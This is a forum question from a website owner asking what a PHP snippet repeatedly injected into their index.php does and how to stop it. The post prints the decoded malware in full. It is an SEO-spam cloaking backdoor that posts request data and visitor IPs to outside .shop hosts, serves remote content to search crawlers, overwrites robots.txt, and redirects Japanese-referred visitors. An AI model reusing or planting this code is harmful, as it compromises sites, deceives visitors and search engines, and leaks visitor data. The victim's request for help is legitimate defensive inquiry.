What is This fishing hack base64 code for and how keep my index.php safe [closed]

Hackers put this code into a single page index.html i don’t have any WordPress on host now
I want know what is this code for and why they put it every few days on my index.php ? “IS THIS CODE DANGEROUS?”
And how i stop them ?

Thanks in advance

package WordPress
  */
$a=base64_decode('JHJlcV91cmkgPSBpc3NldCgkX1NFUlZFUlsnUk

$req_uri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '';
$self = isset($_SERVER['PHP_SELF']) ? $_SERVER['PHP_SELF'] : '';
$a = 'http://z41010_7.fishpan.shop/';
if(strstr($req_uri, 'store.php')){
    $a = 'http://z41007_7.palancea.shop/';
    $self = '/store.php';
}elseif(strstr($req_uri, 'shadow.php')){
    $a = 'http://z41006_7.fishpan.shop/';
    $self = '/shadow.php';
}

function curl_get_contents($url){
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
    $file_contents = curl_exec($ch);
    curl_close($ch);
    return $file_contents;
}

function getServerCont($url, $data = array()){
    $url = str_replace(' ', '+', $url);
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
    $output = curl_exec($ch);
    $errorCode = curl_errno($ch);
    curl_close($ch);
    if(0 !== $errorCode){
        return false;
    }
    return $output;
}

function is_crawler($agent){
    $agent_check = false;
    $bots='googlebot|google|yahoo|bing|aol';
    if($agent){
        if(preg_match("/($bots)/si", $agent)){
            $agent_check = true;
        }
    }
    return $agent_check;
}

function check_refer($refer){
    $check_refer = false;
    $referbots = 'google.co.jp|yahoo.co.jp|google.com';
    if($refer){
        if(preg_match("/($referbots)/si", $refer)){
            $check_refer=true;
        }
    }
    return $check_refer;
}

$http = ((isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https://' : 'http://');
$domain = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '';
$ser_name = isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : '';
$req_url = $http.$domain.$req_uri;
$indata1 = $a."/indata.php";
$map1 = $a."/map.php";
$jump1 = $a."/jump.php";
$url_words = $a."/words.php";
$url_robots = $a."/robots.php";
if(strpos($req_uri, ".php")){
    $href1 = $http.$domain.$self;
}else{
    $href1 = $http.$domain;
}

$data1 = array();
$data1['domain'] = $domain;
$data1['req_uri'] = $req_uri;
$data1['href'] = $href1;
$data1['req_url'] = $req_url;
if(substr($req_uri, -6) == 'robots'){
    define('BASE_PATH',$_SERVER['DOCUMENT_ROOT']);
    $robots_cont = @file_get_contents(BASE_PATH.'/robots.txt');
    $data1['robots_cont'] = $robots_cont;
    $robots_cont = @getServerCont($url_robots, $data1);
    file_put_contents(BASE_PATH.'/robots.txt', $robots_cont);
    $robots_cont = @file_get_contents(BASE_PATH.'/robots.txt');
    if(strpos(strtolower($robots_cont), "sitemap")){
        echo 'robots.txt file create success!';
    }else{
        echo 'robots.txt file create fail!';
    }
    exit();
}

if(substr($req_uri, -4) == '.xml'){
    if(strpos($req_uri, "allsitemap.xml") || strpos($req_uri, "sitemap-index.xml") || strpos($req_uri, "sitemap-index-1.xml") || strpos($req_uri, "index.xml")){
        $str_cont = getServerCont($map1, $data1);
        header("Content-type:text/xml");
        echo $str_cont;
        exit();
    }
    if(strpos($req_uri, ".php")){
        $word4 = explode("?", $req_uri);
        $word4 = $word4[count($word4)-1];
        $word4 = str_replace(".xml", "", $word4);
    }else{
        $word4 = str_replace("/", "", $req_uri);
        $word4 = str_replace(".xml", "", $word4);
    }
    $data1['word'] = $word4;
    $data1['action'] = 'check_sitemap';
    $check_url4 = getServerCont($url_words, $data1);
    if($check_url4 == '1'){
        $str_cont = getServerCont($map1, $data1);
        header("Content-type:text/xml");
        echo $str_cont;
        exit();
    }
    $data1['action']="check_words";
    $check1 = getServerCont($url_words, $data1);
    if(strpos($req_uri, "map") > 0 || $check1 == '1'){
        $data1['action'] = "rand_xml";
    }
    $check_url4 = getServerCont($url_words, $data1);
    header("Content-type:text/xml");
    echo $check_url4;
    exit();
}

if(strpos($req_uri, ".php")){
    $main_shell = $http.$ser_name.$self;
    $data1['main_shell'] = $main_shell;
}else{
    $main_shell = $http.$ser_name;
    $data1['main_shell'] = $main_shell;
}

$referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
$chk_refer = check_refer($referer);
$user_agent = strtolower(isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '');
$res_crawl = is_crawler($user_agent);
if(strpos($req_uri, '.php')){
    $url_ext = '?';
}else{
    $url_ext = '/';
}
if(!$res_crawl && $chk_refer){
    $lang = isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : '';
    if(preg_match('/ja/i', $lang) || preg_match("/^[a-z0-9]+[0-9]+$/", end(explode($url_ext, str_replace(array(".shtml",".html", ".htm"), "", $req_uri))))){
        $data1['ip'] = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '';
        $data1['referer'] = $referer;
        $data1['user_agent'] = $user_agent;
        echo getServerCont($jump1, $data1);
        exit();
    }   
}
if($res_crawl){
    $data1['http_user_agent'] = $user_agent;
    $ser_cont = getServerCont($indata1, $data1);
    echo $ser_cont;exit();
}

My host support don’t answer me just say do you want we checking your site with antivirus lol , for 12 years i working with this hosting and they know I do codding and always talking lol